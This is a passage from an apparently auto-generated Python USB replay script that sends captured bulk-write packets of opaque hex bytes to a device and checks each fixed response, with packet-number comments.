bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB6\\x63\\xFC\\x5E\\xAD\\x74\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1C\\x7A\\x1D\\xEF\\x20\\xA9\\xA6\\x21\"\n b\"\\xAC\\x53\\x02\\xEE\\xC7\\x5A\\x20\\xCD\\xCF\\x11\\x38\\xCA\\x76\\x24\\x46\\xA6\"\n b\"\\x28\\x37\\x9F\\x56\\xFC\\xE4\\x18\\xED\\xAB\\x5B\\xDC\\x08\\xD8\\xC5\\x1F\\x52\"\n b\"\\xB9\\xB2\\x9A\\x30\\xA5\\x3E\\x0D\\x4B\\xC4\\xA1\\xC6\\xA0\\xA8\\xEA\\xA5\\x2D\"\n b\"\\xEA\\x41\\x5B\\xCE\\x5F\\x9E\\xE2\\x8E\\x81\\xF6\\x42\\x3B\\xCF\\xF1\\x70\\x7B\"\n b\"\\xD7\\x18\\x2E\\x79\\x46\\xA7\\xE2\\xC7\\xCF\\x04\\x66\\xEC\\x30\\x32\\x34\\xA8\"\n b\"\\x00\\xDF\\xA1\\xFF\\xF7\\x5D\\x5C\\xD7\\x60\\x69\\x3D\\xC9\\x6B\\x20\\x29\\xA6\"\n b\"\\x6C\\x68\\xD0\\xBE\\x08\\x30\\x5D\\x82\\x0C\\x70\\x24\\x91\\xDB\\xA1\\x80\\x5D\"\n b\"\\xBD\\xAA\\x92\\x9D\\x73\\xD8\\xA2\\x54\\xDB\\x53\\x00\\x53\\x33\\x28\\xEA\\x5F\"\n b\"\\x99\\x48\\xA2\\x25\\xB0\\x51\\xC3\\x76\\x6C\\x78\\xC0\\xF2\\x1E\\x15\\x34\\x81\"\n b\"\\x28\\x8C\\xF7\\x14\\xD6\\x02\\x05\\x30\\x08\\xB3\\x7E\\xA4\\x36\\x64\\x43\\x50\"\n b\"\\x1E\\x37\\xBD\\x5A\\x5E\\x0A\\x1A\\xB6\\x65\\xDA\\xE8\\xF1\\xFB\\x43\\xB8\\xE2\"\n b\"\\xA4\\xD2\\xF7\\xD2\\x35\\xFB\\x76\\xBC\\x62\\x3F\\x8D\\xA1\\xCB\\x9C\\xEA\\x6E\"\n b\"\\xD8\\xEA\\x8F\\x4E\\x89\\x4D\\xE8\\x9E\\x70\\x78\\x45\\x7C\\x74\\xEF\\x4B\\xCE\"\n b\"\\x69\\x0B\\x65\\x1B\\x53\\x91\\x5C\\xE4\\x96\\xA7\\xE8\\xB7\\xEA\\xDC\\xCD\\x57\"\n b\"\\xFA\\x31\\x81\\xEB\\xB1\\x5D\\xF0\\x59\\x46\\x44\\x94\\x2C\\xD0\\xF2\\xAF\\xAF\"\n b\"\\xEF\\x7C\\x90\\xC4\\xB7\\xBF\\x12\\x38\\xEB\\x8B\\x7A\\x5A\")\n # Generated from packet 1147/1148\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1147/1148\")\n # Generated from packet 1149/1150\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0A\\xD6\\xBD\\x26\\xAE\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7B\\x07\\x9F\\x5D\\x4C\\x17\\xCA\\xAC\"\n b\"\\xA5\\x61\\x60\\x69\\xC6\\x0E\\xEA\\x7C\\xD1\\xAD\\x64\\xB7\\x12\\x16\\xF3\\x3A\"\n b\"\\x69\\xB2\\x0C\\xB4\\x2F\\xDA\\x2E\\x1D\\xFB\\x54\\xAA\\x4F\\xE7\\x3A\\x5C\\x5A\"\n b\"\\xC0\\xEC\\x70\\x21\\x5F\\xD5\\x1E\\x9B\\xAB\\xC5\\xC1\\xEC\\x0A\\x25\\x79\\xAF\"\n b\"\\x63\\xB6\\x0E\\x12\\x47\\x07\\x2D\\x43\\x67\\x04\\x3D\\xC7\\x05\\xB2\\xAB\\x93\"\n b\"\\x61\\xC1\\xCB\\x20\\xAF\\xA3\\xC3\\x30\\x8C\\x42\\x8C\\x6C\\x9A\\xE6\\x8D\\x58\"\n b\"\\x02\\x14\\x25\\xFF\\x80\\x93\\x69\\x3A\\xEA\\x52\\x42\\x5D\\xEE\\x13\\xA6\\x4E\"\n b\"\\x69\\xB7\\xB2\\xE4\\x59\\x52\\xB6\\x2A\\x15\\xE1\\xCC\\xC6\\xAF\\xE1\\x23\\x4A\"\n b\"\\x2C\\xFB\\x9E\\xBC\\xD8\\x7C\\xD4\\x76\\xED\\xF3\\x0D\\x18\\x51\\x45\\xD9\\x2A\"\n b\"\\xA7\\x67\\x2B\\x37\\x88\\xE6\\xC6\\x1E\\xB6\\x2D\\x9C\\xB3\\xAE\\x2A\\x08\\x1F\"\n b\"\\x79\\x95\\x5D\\x8B\\xD9\\xD6\\x5A\\xBE\\x85\\xB3\\x95\\x60\\x06\\x75\\x80\\x6C\"\n b\"\\x1F\\xD3\\xB7\\xBF\\xD6\\xB5\\xF1\\x11\\x7C\\x39\\x90\\x52\\xA0\\xE7\\xC0\\xAB\"\n b\"\\x6A\\xFF\\x2D\\x88\\x3E\\x08\\xD7\\xC7\\x21\\x2E\\xEA\\xFA\\x8F\\x30\\x9D\\x5E\"\n b\"\\xBC\\xD2\\xD2\\x4A\\xD9\\x6F\\x19\\xAB\\xDA\\x7A\\xA1\\x8F\\x8D\\x3A\\xBB\\xB1\"\n b\"\\x68\\x59\\x29\\xBB\\xB4\\x0B\\x18\\x03\\x83\\x6F\\x6E\\x3F\\x8A\\x80\\xF2\\xE6\"\n b\"\\x88\\x2B\\x62\\x1A\\x28\\xD1\\xAC\\x7D\\x34\\x86\\x2A\\xDD\\x2F\\x26\\xD6\\x3B\"\n b\"\\xC3\\xC0\\x2A\\xEA\\x3A\\x93\\x6A\\xE6\\xE9\\xA5\\xBC\\x4A\")\n # Generated from packet 1151/1152\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1151/1152\")\n # Generated from packet 1153/1154\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x95\\xD0\\xC4\\xB5\\x24\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x98\\xFE\\x57\\x50\\x6D\\x51\\x6B\\xBB\"\n b\"\\x1F\\xE5\\x94\\x58\\x65\\x94\\x83\\x2A\\x8C\\xDD\\x8D\\xAA\\xD2\\xAC\\xC8\\xF4\"\n b\"\\x27\\xA6\\x35\\x03\\xED\\xBE\\x32\\x1A\\x27\\xC0\\x12\\x0D\\xA0\\x49\\x37\\xFD\"\n b\"\\x69\\x2F\\xF5\\x7A\\xDC\\xDC\\xCD\\x23\\xE3\\xB5\\x9D\\x5A\\x3D\\xA7\\x2A\\x13\"\n b\"\\x57\\x1B\\x5F\\xF5\\x7A\\xDF\\x74\\x05\\xFD\\x74\\x3A\\x07\\x59\\xE9\\x0E\\xFC\"\n b\"\\x36\\xA5\\x60\\x58\\x7B\\xE5\\xC8\\xAE\\x09\\xEF\\x7D\\xE3\\xCD\\xFA\\xEA\\x6C\"\n b\"\\xE3\\x1F\\x7F\\x6A\\x8E\\x8B\\xAB\\x1A\\x86\\xBE\\x4E\\x3C\\x65\\x33\\xCE\\xEF\"\n b\"\\xBB\\x8C\\x4D\\xB2\\x42\\x7A\\xFC\\x9E\\xC9\\xE5\\x15\\xAD\\x30\\xEB\\x80\\xF2\"\n b\"\\x58\\x24\\xBA\\x0F\\x7C\\xAF\\xDC\\xFB\\x7A\\x2A\\xE6\\x8D\\xD5\\xA1\\x8F\\x13\"\n b\"\\xF5\\x5D\\x81\\xEB\\x88\\x79\\xF0\\x59\\x77\\x24\\x14\\x2C\\xE1\\xD7\\xAF\\xEC\"\n b\"\\x6A\\xE3\\x55\\xA5\\xD9\\xCB\\x12\\x32\\x19\\x7E\\xEA\\x5E\\xFE\\x84\\x0B\\xB6\"\n b\"\\x7C\\x5D\\x41\\x33\\x28\\x91\\xD9\\x82\\xC2\\xE2\\x16\\x1A\\x75\\xDC\\xB3\\xCD\"\n b\"\\x80\\xAB\\xDF\\xEF\\x67\\x1A\\x99\\x70\\xAC\\x2C\\xB3\\xF7\\xA5\\x40\\x63\\xF1\"\n b\"\\x13\\x99\\xDE\\x79\\x87\\x72\\x9F\\x6F\\xC7\\xCF\\xA5\\x22\\xAA\\xDA\\x6E\\x5D\"\n b\"\\x8B\\x3F\\xC1\\x3B\\x8A\\x3D\\x02\\x12\\x88\\x4D\\x46\\xE9\\x07\\xFE\\x9F\\x7F\"\n b\"\\x9F\\xAB\\x36\\x3D\\x5F\\xA7\\xFF\\x2F\\x5B\\xA8\\x7A\\x4A\\xBE\\x60\\x41\\xF4\"\n b\"\\xBF\\xA2\\x81\\x14\\xEA\\x92\\xF5\\xE9\\xA8\\x39\\x61\\x8F\")\n # Generated from packet 1155/1156\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1155/1156\")\n # Generated from packet 1157/1158\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9A\\x61\\xE4\\x50\\x88\\x05\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC0\\x17\\x83\\x83\\x07\\xC5\\xDA\\x31\"\n b\"\\xD8\\x07\\x2B\\x07\\x6F\\x05\\xBA\\x34\\xB4\\xBF\\xF4\\x8C\\x92\\x67\\x8B\\xDF\"\n b\"\\x22\\x2E\\x6A\\x5F\\x96\\x6E\\x11\\x5A\\xE6\\x5F\\x7E\\x5F\\x17\\x2E\\x30\\x4A\"\n b\"\\x67\\x19\\x12\\xCB\\x3A\\x6B\\x36\\x44\\x60\\x56\\x47\\x10\\x73\\x40\\x12\\x21\"\n b\"\\x28\\xD3\\xB9\\x64\\x96\\xE3\\x5D\\x8B\\x13\\x34\\xAD\\x96\\x07\\xA5\\x3C\\x59\"\n b\"\\xC7\\x6D\\x27\\xCF\\x17\\xDD\\xE7\\x33\\xCB\\x7A\\x0B\\x92\\xD6\\xC5\\xCB\\xA9\"\n b\"\\x85\\x12\\x82\\x7D\\x4D\\x87\\xE8\\x0F\\xCE\\x69\\xFA\\x96\\xB4\\x6F\\x7F\\x14\"\n b\"\\x1C\\xA9\\x39\\x2F\\x90\\x09\\xD2\\xBE\\x5C\\xAF\\xA1\\x64\\x34\\x3F\\x6B\\x65\"\n b\"\\x90\\xF8\\x8D\\x1B\\xFE\\xB7\\x44\\x09\\x90\\x5A\\xF3\\xB2\\xA2\\x72\\x6B\\xC4\"\n b\"\\x74\\xC2\\xB3\\xE4\\xA3\\x5A\\x0D\\x0C\\x6C\\x68\\x19\\xC6\\x63\\x05\\x16\\x7A\"\n b\"\\xD3\\x25\\x71\\x36\\x01\\xB7\\x77\\xCA\\x4F\\xC3\\xCB\\x98\\x0F\\xE0\\x22\\xA6\"\n b\"\\x90\\x7A\\xB2\\x49\\x05\\xA2\\xD7\\x4C\\x2F\\xA7\\x9B\\x49\\xFE\\x01\\x33\\xDF\"\n b\"\\xE1\\xBC\\x7E\\x73\\x7B\\x9C\\x96\\x8C\\xDA\\xA6\\x4A\\x4D\\x79\\x88\\x98\\xF0\"\n b\"\\x5F\\x48\\x87\\xED\\x15\\xA0\\x3A\\xCC\\x88\\x62\\x09\\xE8\\x35\\x22\\x84\\xB1\"\n b\"\\x8F\\xAD\\x10\\x06\\xC8\\x08\\x0C\\x0C\\x5B\\x0F\\x3F\\xDF\\x51\\x4D\\x77\\x38\"\n b\"\\xA8\\x3A\\xCC\\x02\\xF2\\xD1\\x0E\\xEA\\x76\\xEC\\x82\\x00\\x2D\\x72\\xF8\\x9A\"\n b\"\\x2B\\xE4\\xE2\\x75\\xD2\\x13\\x4C\\x04\\x23\\xE8\\x91\\x7F\")\n # Generated from packet 1159/1160\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1159/1160\")\n # Generated from packet 1161/1162\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x17\\x23\\xBA\\x96\\x79\\x55\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x63\\x68\\x26\\x71\\x3B\\x30\\x21\\x06\"\n b\"\\x74\\xEF\\x9C\\xD1\\xE5\\x1C\\xCA\\xD1\\x67\\xC9\\x93\\xA7\\x48\\xE9\\x76\\xFD\"\n b\"\\x0D\\x38\\x07\\xCA\\x02\\x94\\xF1\\x31\\x6E\\x0E\\x6C\\x5D\\x69\\x12\\x75\\x89\"\n b\"\\x47\\x91\\x9B\\x3F\\x55\\xD5\\x1E\\x6C\\xF4\\xF6\\x5B\\x86\\x72\\x91\\x0D\\xA2\"\n b\"\\x13\\x52\\x33\\x38\\x97\\x21\\x9B\\x1B\\xA9\\xA7\\x21\\x21\\xDF\\x7F\\x39\\xE7\"\n b\"\\x52\\x6E\\x7A\\x1A\\x9B\\x6D\\xC4\\xF9\\x95\\xF5\\x92\\xF3\\xC6\\x30\\xDA\\xCC\"\n b\"\\x5F\\x9F\\x5D\\xE5\\xA1\\x71\\xF7\\x0C\\x9B\\x11\\x56\\xC6\\xE8\\x41\\x2F\\x20\"\n b\"\\xF4\\x9A\\x45\\x51\\xE1\\x99\\xB2\\xC3\\xDD\\xFE\\xD0\\x7B\\x84\\x39\\xB4\\x4C\"\n b\"\\x64\\x8A\\x7A\\x6A\\xE0\\xFC\\x2E\\x2B\\xFE\\x60\\x47\\x8C\\xB2\\xF2\\xC5\\x54\"\n b\"\\x7F\\x46\\x03\\x06\\xBB\\x94\\x8C\\xB4\\x71\\xC1\\xEC\\x1C\\x6D\\x15\\x08\\x67\"\n b\"\\xB3\\x02\\x2E\\xE2\\xCD\\xF9\\x82\\x03\\xE6\\xE1\\x87\\x26\\xCA\\x16\\xD9\\x9E\"\n b\"\\xE3\\x94\\x96\\x40\\x80\\xF6\\x4A\\x91\\xCE\\x92\\x23\\x04\\x5D\\x1F\\xD9\\x8D\"\n b\"\\x78\\x57\\xDD\\xAB\\x44\\xA4\\xEC\\xC6\\xDE\\xC4\\xA2\\x60\\x7C\\x09\\x71\\xF4\"\n b\"\\x74\\x57\\x4D\\x48\\x75\\x1C\\x91\\xA2\\x7A\\x92\\xA5\\xC9\\xEF\\x8B\\x99\\xCD\"\n b\"\\x88\\xE5\\xC7\\x20\\x32\\xDC\\xF4\\xE0\\xAD\\x24\\x37\\xA8\\x9A\\xA9\\x3D\\x02\"\n b\"\\x09\\xD6\\x0A\\x7A\\xEC\\x5B\\x23\\xA9\\xD5\\x18\\x60\\x74\\xC1\\x2B\\x9A\\x64\"\n b\"\\x9D\\xEB\\x9A\\x57\\x8F\\x40\\x6F\\x56\\x0E\\xA1\\xF5\\xE3\")\n # Generated from packet 1163/1164\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1163/1164\")\n # Generated from packet 1165/1166\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDA\\xAF\\x60\\xF1\\xFE\\x7C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC7\\x24\\x06\\x07\\x78\\xE5\\x33\\x14\"\n b\"\\xDE\\x74\\x07\\x1C\\x89\\x6E\\x76\\x1B\\xD4\\xE6\\xA7\\x8E\\xCA\\x0E\\xA2\\x5D\"\n b\"\\x69\\x2D\\xDD\\xAC\\x85\\x47\\x99\\x80\\x72\\xF1\\x29\\x94\\x2D\\xB2\\xD8\\x2B\"\n b\"\\xE1\\x60\\xF4\\x9C\\x69\\xC9\\x95\\x71\\x9F\\x8A\\x2F\\xA5\\x53\\x82\\x8B\\x30\"\n b\"\\x96\\x70\\x38\\xF6\\xC4\\x08\\xE4\\xEF\\xAE\\xC3\\xA0\\x1D\\x44\\x77\\x52\\x24\"\n b\"\\x8E\\xCD\\xD8\\x7D\\xDE\\x6F\\x01\\x53\\x33\\x4D\\x30\\x6B\\x83\\xCF\\xFB\\x70\"\n b\"\\x68\\xF7\\xAC\\xF0\\xFD\\xF5\\x8C\\x8F\\xFD\\xF0\\x87\\xA8\\x1C\\xD6\\x4F\\xE1\"\n b\"\\x2D\\x0D\\xEA\\xBC\\x5F\\x49\\xF3\\xC2\\x1B\\xEB\\xFA\\x8D\\x71\\x30\\x7C\\x4D\"\n b\"\\x2D\\x8E\\xC0\\x49\\x74\\x56\\x22\\xA9\\x0C\\x05\\x86\\xA4\\x8D\\xCD\\x8F\\x20\"\n b\"\\xDE\\xB6\\x4D\\x7A\\xC3\\xFA\\x77\\x37\\x81\\xEB\\x16\\xF9\\xE3\\x4C\\xAE\\xC1\"\n b\"\\x34\\xC9\\x62\\x18\\xA3\\xC7\\xD8\\xBB\\xFF\\xC3\\x44\\xFF\\xEA\\x60\\xDF\\x6E\"\n b\"\\x4E\\x5D\\x90\\x1C\\xD2\\xA6\\xCE\\xBC\\x71\\x9F\\xA2\\x2D\\x99\\x69\\xBC\\xE7\"\n b\"\\xF6\\xCE\\x96\\x15\\x4C\\x39\\xF5\\x78\\x2C\\x6E\\x75\\x45\\xB6\\x41\\xF4\\x11\"\n b\"\\xE9\\xB8\\xC7\\x5D\\xC9\\x0D\\xA5\\xEC\\x97\\xC3\\xE4\\x81\\xCE\\x49\\xE7\\x2D\"\n b\"\\x52\\xDD\\x02\\x6C\\x8F\\xE9\\x08\\xF2\\xA8\\x44\\xE8\\x85\\x1C\\x70\\xE1\\x19\"\n b\"\\xF9\\xC1\\xBC\\x7E\\x77\\x62\\x4E\\x93\\x8A\\x44\\xD4\\xF5\\x80\\xF4\\x0F\\x21\"\n b\"\\x21\\x0C\\xFD\\xD8\\x41\\x39\\xD6\\x44\\x0B\\xF9\\x24\\x13\")\n # Generated from packet 1167/1168\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1167/1168\")\n # Generated from packet 1169/1170\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x21\\x95\\x08\\xF2\\x52\\x28\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x52\\x8E\\x06\\x07\\x60\\xB4\\x56\\xFE\"\n b\"\\x88\\x7A\\x6F\\x9B\\xDC\\xE8\\xDE\\x38\\x51\\x66\\x66\\x11\\x57\\x6E\\xB0\\x5D\"\n b\"\\xDA\\xDD\\xB9\\x3C\\x10\\xC1\\x44\\xF3\\x67\\x1B\\x64\\x3C\\xB3\\xA5\\x58\\x8B\"\n b\"\\x74\\xE6\\x35\\x4E\\x2B\\x3B\\xF7\\xD5\\xEC\\xA8\\x38\\xEC\\x04\\xD3\\x1A\\x4C\"\n b\"\\x1A\\x25\\x1E\\xDE\\x87\\xDA\\x4B\\x67\\x98\\x53\\x75\\x23\\xD3\\x9C\\xD3\\x39\"\n b\"\\xED\\xE5\\xA1\\x7D\\xF4\\x04\\x8C\\xE7\\x64\\x79\\x43\\xA3\\xB6\\xED\\xFB\\x7A\"\n b\"\\x20\\xEA\\x63\\x19\\xC1\\x48\\xAA\\xA7\\x2C\\xDA\\x3A\\x81\\x5A\\xAE\\xE2\\xEF\"\n b\"\\xA9\\x58\\x88\\x18\\xAA\\x1B\\xEE\\xC0\\x0D\\x47\\xE7\\x72\\x7B\\x5F\\xF6\\x0F\"\n b\"\\x2F\\x55\\x6D\\x59\\x29\\x56\\x8B\\x3F\\x38\\x58\\x58\\x64\\xF5\\x5D\\x16\\x2E\"\n b\"\\x83\\x1C\\xED\\x56\\xF2\\x09\\xC3\\x95\\xB5\\x9B\\x60\\x8A\\x1E\\x18\\xA5\\x2B\"\n b\"\\x44\\x35\\xF4\\x6C\\xCE\\xC0\\x58\\x31\\x4C\\xF1\\x0D\\x25\\x64\\x6A\\x32\\x76\"\n b\"\\x2B\\x86\\x36\\xC5\\x8E\\x37\\xF4\\xC0\\xBE\\x6E\\x21\\xE4\\x02\\x3E\\xA2\\xE4\"\n b\"\\x7F\\x7C\\xEA\\xD4\\x4F\\x95\\x45\\xF1\\x64\\x26\\xFF\\x6B\\x31\\xD1\\xF0\\xDB\"\n b\"\\xE1\\x88\\x8C\\x29\\x01\\x45\\xB6\\xC2\\x10\\x53\\xF8\\x2B\\xC6\\x79\\xB4\\x79\"\n b\"\\x1B\\x95\\x1C\\xA2\\x58\\x7B\\x75\\xFA\\x23\\x21\\x0B\\xF8\\xD5\\x32\\x24\\x8C\"\n b\"\\xAE\\x53\\xC1\\x76\\xE2\\x6B\\x25\\x8E\\xC0\\x06\\x0F\\x80\\x17\\x6A\\x07\\x3A\"\n b\"\\xAF\\xA9\\xF9\\x92\\xD4\\xA7\\x31\\x96\\x01\\xD9\\x35\\x89\")\n # Generated from packet 1171/1172\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1171/1172\")\n # Generated from packet 1173/1174\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x33\\xEC\\x11\\x36\\xDB\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x46\\xEC\\x48\\x2C\\x5F\\x46\\x4B\\xD5\"\n b\"\\x84\\xE6\\x78\\x53\\x69\\xBB\\x34\\xB9\\xC2\\x7B\\x1D\\x62\\xAC\\x96\\xFF\\x1B\"\n b\"\\x01\\x03\\x67\\x21\\xEA\\x92\\x1D\\x78\\xF2\\x3D\\x1F\\xEF\\x06\\xBF\\xED\\xE3\"\n b\"\\x52\\xDE\\x8E\\x09\\xF7\\xFA\\x03\\xEF\\x8B\\x81\\x4F\\xE4\\x63\\x13\\xAC\\xFA\"\n b\"\\xD0\\x9A\\xEA\\x10\\x38\\x87\\x30\\x78\\x39\\x22\\xBB\\x7F\\x0B\\x60\\x87\\x2B\"\n b\"\\x17\\x78\\x68\\xCF\\x9C\\x24\\x8A\\x7F\\x16\\x6F\\x46\\x4C\\x1D\\x99\\x4F\\xB8\"\n b\"\\x1A\\x27\\x64\\xFA\\xEE\\xD7\\xE1\\x21\\xCF\\x4D\\xB4\\x3E\\x40\\xF7\\x3B\\xE2\"\n b\"\\x70\\xEF\\x51\\x2D\\x25\\x95\\x32\\x82\\x20\\x58\\x46\\x07\\xB3\\x7F\\x3C\\xBD\"\n b\"\\x2D\\xCD\\x69\\x01\\xB2\\xA5\\x22\\x0B\\xA6\\xA8\\xA1\\x27\\x31\\xF6\\x2C\\xD8\"\n b\"\\xFD\\x6F\\x87\\xBF\\x74\\xD3\\x4C\\x1E\\x9B\\x5B\\xAB\\x85\\x77\\x84\\x4D\\x5A\"\n b\"\\xB4\\xF8\\x61\\xC4\\x7C\\x31\\x79\\xCB\\xAA\\xB8\\x5E\\x22\\xFA\\x55\\x0C\\x0B\"\n b\"\\x84\\xEB\\x4B\\x44\\xEE\\x11\\xB7\\x30\\x52\\x90\\xDA\\x71\\x5C\\x57\\xAF\\x2C\"\n b\"\\xD1\\x6D\\x67\\x6C\\x92\\x1B\\xDE\\x05\\xF7\\x2D\\xE1\\x8C\\x52\\xF3\\xB0\\x87\"\n b\"\\xCD\\x4E\\xF1\\xF1\\x5B\\x0F\\x10\\xF8\\x95\\xA0\\x7D\\xE8\\x72\\xDF\\xA1\\x9D\"\n b\"\\x04\\xB9\\x53\\x2B\\xD1\\x85\\xDE\\xA9\\x02\\x34\\x22\\x40\\xF4\\x9B\\x4E\\x07\"\n b\"\\x36\\x4E\\x97\\x41\\xE8\\x98\\xBB\\x4B\\xDB\\x4C\\xFC\\x79\\xB3\\x90\\xEE\\x4A\"\n b\"\\x16\\xED\\x4D\\x64\\xDD\\x8B\\x8F\\xA7\\x2F\\x14\\x6A\\x6D\")\n # Generated from packet 1175/1176\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1175/1176\")\n # Generated from packet 1177/1178\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4D\\x61\\x00\\x01\\x25\\x27\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x46\\x23\\x89\\xAC\\x47\\xC7\\x55\\x72\"\n b\"\\x6E\\xAA\\x88\\x20\\x3E\\x51\\xD7\\xE7\\x42\\x8C\\xD4\\x66\\xA4\\x73\\xC0\\xC8\"\n b\"\\x0F\\xAA\\x5E\\x75\\xE7\\x50\\xBB\\x4A\\xEB\\xAE\\xFC\\xD6\\x25\\x1E\\x53\\x93\"\n b\"\\x69\\x89\\xDC\\xC3\\x62\\xDA\\x46\\x69\\xCE\\x6A\\x10\\x9D\\x22\\xD1\\x69\\x5E\"\n b\"\\xB1\\xB9\\xA4\\x00\\x5A\\xF3\\xB6\\x79\\x53\\xDD\\x1D\\x6B\\x4A\\x42\\x8A\\xB8\"\n b\"\\xCB\\x52\\x87\\xC0\\xA2\\x1A\\x0D\\xD2\\x12\\xC0\\x9F\\x0A\\x21\\x79\\x18\\x3D\"\n b\"\\x09\\xEF\\xA6\\x62\\x31\\x85\\x46\\x5D\\x8B\\x5F\\xB4\\xEC\\xF3\\x02\\xDC\\xC0\"\n b\"\\xFE\\xB0\\xF9\\x67\\x3D\\x03\\x6F\\x61\\x3E\\x55\\xD5\\x4F\\x24\\xC8\\xB7\\xA2\"\n b\"\\x01\\x91\\x17\\xED\\x97\\x3B\\xFD\\xB8\\xD6\\x27\\x2E\\xC8\\x83\\x84\\x66\\x42\"\n b\"\\x87\\xAA\\xDD\\x05\\xB7\\xD5\\xFF\\x25\\xBC\\xEC\\x19\\x9B\\xB4\\xD3\\x67\\x1D\"\n b\"\\x2C\\x78\\x6F\\xF0\\x65\\x74\\x45\\x16\\x82\\x67\\x62\\x68\\xC8\\xA9\\xE6\\x28\"\n b\"\\x64\\xB3\\x93\\x59\\x61\\x0D\\xB4\\x2A\\x68\\xD0\\x3F\\x44\\x3D\\x24\\xF2\\x09\"\n b\"\\x0D\\x8E\\x6A\\x45\\x75\\x3B\\x97\\x64\\xB2\\x09\\xC7\\x1F\\x53\\xF3\\x3F\\x98\"\n b\"\\x42\\xCC\\xFC\\x54\\x21\\xE9\\x89\\x9C\\x02\\xB9\\xE9\\xFF\\xB3\\x5E\\xD3\\xFA\"\n b\"\\x56\\x7C\\x70\\x35\\xD5\\x6D\\x1E\\xFB\\x15\\x40\\x48\\x0B\\x06\\x0A\\xA4\\xF5\"\n b\"\\x61\\xC2\\x53\\xDA\\xB3\\xBD\\x0E\\xE3\\x89\\x97\\x99\\x6C\\x29\\x29\\x81\\x42\"\n b\"\\xDA\\xF0\\xDF\\x20\\x41\\x3E\\xB8\\xEE\\x21\\xD9\\xAE\\xD3\")\n # Generated from packet 1179/1180\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1179/1180\")\n # Generated from packet 1181/1182\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5F\\xC1\\x44\\x65\\x43\\x16\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1F\\x66\\x2B\\xDF\\x50\\x3F\\xC3\\x56\"\n b\"\\x8E\\xC2\\x71\\x9B\\xF0\\x1D\\x0D\\x7F\\xC9\\x03\\xD1\\x40\\x03\\xD5\\xB0\\x45\"\n b\"\\xD6\\x51\\xF2\\xC8\\x6D\\x72\\xBB\\x46\\x96\\x4B\\xC3\\xEE\\x5F\\x24\\x77\\x7E\"\n b\"\\xF4\\xF5\\x8A\\x4F\\xB7\\x45\\x6A\\x96\\x21\\x84\\x69\\xD6\\xDB\\x4F\\x23\\x8A\"\n b\"\\x60\\xAA\\xB5\\xC8\\xFF\\xAD\\xFA\\xD8\\x54\\x7F\\x56\\xDC\\x01\\xC3\\xD5\\x49\"\n b\"\\x5B\\xAD\\x8D\\xBD\\x2B\\x4D\\x37\\xE9\\x76\\xD5\\xE5\\x7A\\xAF\\x05\\xBE\\x6E\"\n b\"\\xBB\\x72\\xB3\\x2B\\x0A\\xF5\\xB5\\xA9\\x07\\x58\\x82\\x43\\xA8\\x27\\x71\\xD0\"\n b\"\\xEC\\x1F\\x60\\xD5\\xF5\\x20\\x91\\xAD\\xA5\\xC1\\xEF\\xF2\\xA3\\x8F\\x0A\\xB6\"\n b\"\\x98\\x8E\\xE8\\x70\\xA7\\x0F\\x21\\xAB\\xD9\\x34\\x33\\x7F\\x48\\x1B\\xEF\\xF7\"\n b\"\\x13\\x36\\x40\\x8E\\x6E\\xBC\\x9C\\xBE\\xEB\\xF5\\xFC\\xB7\\x06\\x85\\xA2\\xD2\"\n b\"\\x73\\xC4\\x21\\xBD\\x10\\x62\\x0F\\xA3\\xD7\\x85\\x74\\x4E\\x68\\x7C\\x38\\x60\"\n b\"\\x28\\xE8\\x6B\\x75\\xEA\\x2E\\x91\\xC2\\xE7\\x09\\x0E\\x0B\\x9B\\x86\\xB9\\xE5\"\n 